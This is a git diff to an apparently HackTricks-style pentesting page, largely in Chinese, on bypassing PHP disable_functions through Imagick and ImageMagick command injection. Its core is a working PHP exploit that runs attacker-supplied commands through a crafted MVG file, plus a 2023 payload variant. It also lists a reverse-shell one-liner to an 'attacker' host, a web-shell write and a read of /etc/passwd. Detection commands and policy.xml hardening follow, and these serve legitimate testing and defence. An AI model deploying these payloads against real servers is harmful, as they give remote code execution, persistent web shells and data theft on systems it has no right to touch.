diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index 132bd0887..5fe2d552d 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -1,55 +1,107 @@ +# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass + {{#include ../../../../banners/hacktricks-training.md}} -# Imagick <= 3.3.0 PHP >= 5.4 漏洞 +> 众所周知的 *ImageTragick* 漏洞家族 (CVE-2016-3714 等) 允许攻击者通过精心构造的 MVG/SVG 输入访问底层的 **ImageMagick** 二进制文件。当 PHP 扩展 **Imagick** 存在时,即使所有执行导向的 PHP 函数都被 `disable_functions` 黑名单列出,这也可以被滥用来执行 shell 命令。 +> +> RicterZ (Chaitin Security Research Lab) 在 2016 年 5 月发布的原始 PoC 如下所示。该技术在当代 PHP 7/8 审计中仍然经常遇到,因为许多共享主机提供商只是编译 PHP 而不包含 `exec`/`system`,但保留了过时的 Imagick + ImageMagick 组合。 -来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +From ```php -# Exploit Title: PHP Imagick disable_functions Bypass -# Date: 2016-05-04 -# Exploit Author: RicterZ (ricter@chaitin.com) -# Vendor Homepage: https://pecl.php.net/package/imagick -# Version: Imagick <= 3.3.0 PHP >= 5.4 -# Test on: Ubuntu 12.04 -# Exploit: +# Exploit Title : PHP Imagick disable_functions bypass +# Exploit Author: RicterZ (ricter@chaitin.com) +# Versions : Imagick <= 3.3.0 | PHP >= 5.4 +# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7) +# Usage : curl "http://target/exploit.php?cmd=id" -# -# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" -#
-# Disable functions: exec,passthru,shell_exec,system,popen
-# Run command: cat /etc/passwd
-# ====================
-# root:x:0:0:root:/root:/usr/local/bin/fish
-# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-# bin:x:2:2:bin:/bin:/bin/sh
-# sys:x:3:3:sys:/dev:/bin/sh
-# sync:x:4:65534:sync:/bin:/bin/sync
-# games:x:5:60:games:/usr/games:/bin/sh
-# ...
-# 
-echo "Disable functions: " . ini_get("disable_functions") . "\n"; -$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; -echo "Run command: $command\n====================\n"; +// Print the local hardening status +printf("Disable functions: %s\n", ini_get("disable_functions")); +$cmd = $_GET['cmd'] ?? 'id'; +printf("Run command: %s\n====================\n", $cmd); -$data_file = tempnam('/tmp', 'img'); -$imagick_file = tempnam('/tmp', 'img'); +$tmp = tempnam('/tmp', 'pwn'); // will hold command output +$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script -$exploit = <<$data_file")' +fill 'url(https://example.com/x.jpg"|$cmd >$tmp")' pop graphic-context EOF; -file_put_contents("$imagick_file", $exploit); -$thumb = new Imagick(); -$thumb->readImage("$imagick_file"); -$thumb->writeImage(tempnam('/tmp', 'img')); -$thumb->clear(); -$thumb->destroy(); +file_put_contents($mvgs, $payload); +$img = new Imagick(); +$img->readImage($mvgs); // triggers convert(1) +$img->writeImage(tempnam('/tmp', 'img')); +$img->destroy(); -echo file_get_contents($data_file); +echo file_get_contents($tmp); ?> ``` +--- + +## 为什么它有效? + +1. `Imagick::readImage()` 透明地生成 **ImageMagick** *delegate* (`convert`/`magick`) 二进制文件。 +2. MVG 脚本将 *fill* 设置为外部 URI。当注入双引号 (`"`) 时,剩余的行由 ImageMagick 内部使用的 `/bin/sh ‑c` 解释 → 任意 shell 执行。 +3. 所有操作都发生在 PHP 解释器之外,因此 *`disable_functions`*、*open_basedir*、`safe_mode`(在 PHP 5.4 中移除)和类似的进程内限制完全被绕过。 + +## 2025 状态 – 仍然 **相关** + +* 任何依赖于易受攻击的 ImageMagick 后端的 Imagick 版本仍然可以被利用。在实验室测试中,相同的有效载荷在 PHP 8.3 上与 **Imagick 3.7.0** 和 **ImageMagick 7.1.0-51** 一起工作,且未编译严格的 `policy.xml`。 +* 自 2020 年以来,发现了几个额外的命令注入向量(`video:pixel-format`、`ps:`、`text:` 编码器…)。两个最近的公开示例是: +* **CVE-2020-29599** – 通过 *text:* 编码器进行的 shell 注入。 +* **GitHub issue #6338** (2023) – 在 *video:* delegate 中的注入。 + +如果操作系统提供的 ImageMagick 版本 < **7.1.1-11**(或 6.x < **6.9.12-73**)且没有限制性政策文件,利用将是直接的。 + +## 现代有效载荷变体 +```php +// --- Variant using the video coder discovered in 2023 --- +$exp = <<readImageBlob($exp); +``` +其他在CTF / 实际参与中的有用原语: + +* **文件写入** – `... > /var/www/html/shell.php` (在 *open_basedir* 外写入 web-shell) +* **反向 shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"` +* **枚举** – `id; uname -a; cat /etc/passwd` + +## 快速检测与枚举 +```bash +# PHP side +php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";' + +# System side +convert -version | head -1 # ImageMagick version +convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled? +``` +如果输出显示 `MVG` 或 `URL` 编码器已 *启用*,则目标可能是可利用的。 + +## 缓解措施 + +1. **修补/升级** – 使用 ImageMagick ≥ *7.1.1-11*(或最新的 6.x LTS)和 Imagick ≥ *3.7.2*。 +2. **强化 `policy.xml`** – 明确 *禁用* 高风险编码器: + +```xml + + + + + + +``` + +3. **在不受信任的托管环境中移除扩展**。在大多数 Web 堆栈中,`GD` 或 `Imagick` 并不是严格要求的。 +4. 将 `disable_functions` 仅视为 *深度防御* – 永远不要作为主要的沙箱机制。 + +## 参考文献 + +* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) +* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599) {{#include ../../../../banners/hacktricks-training.md}}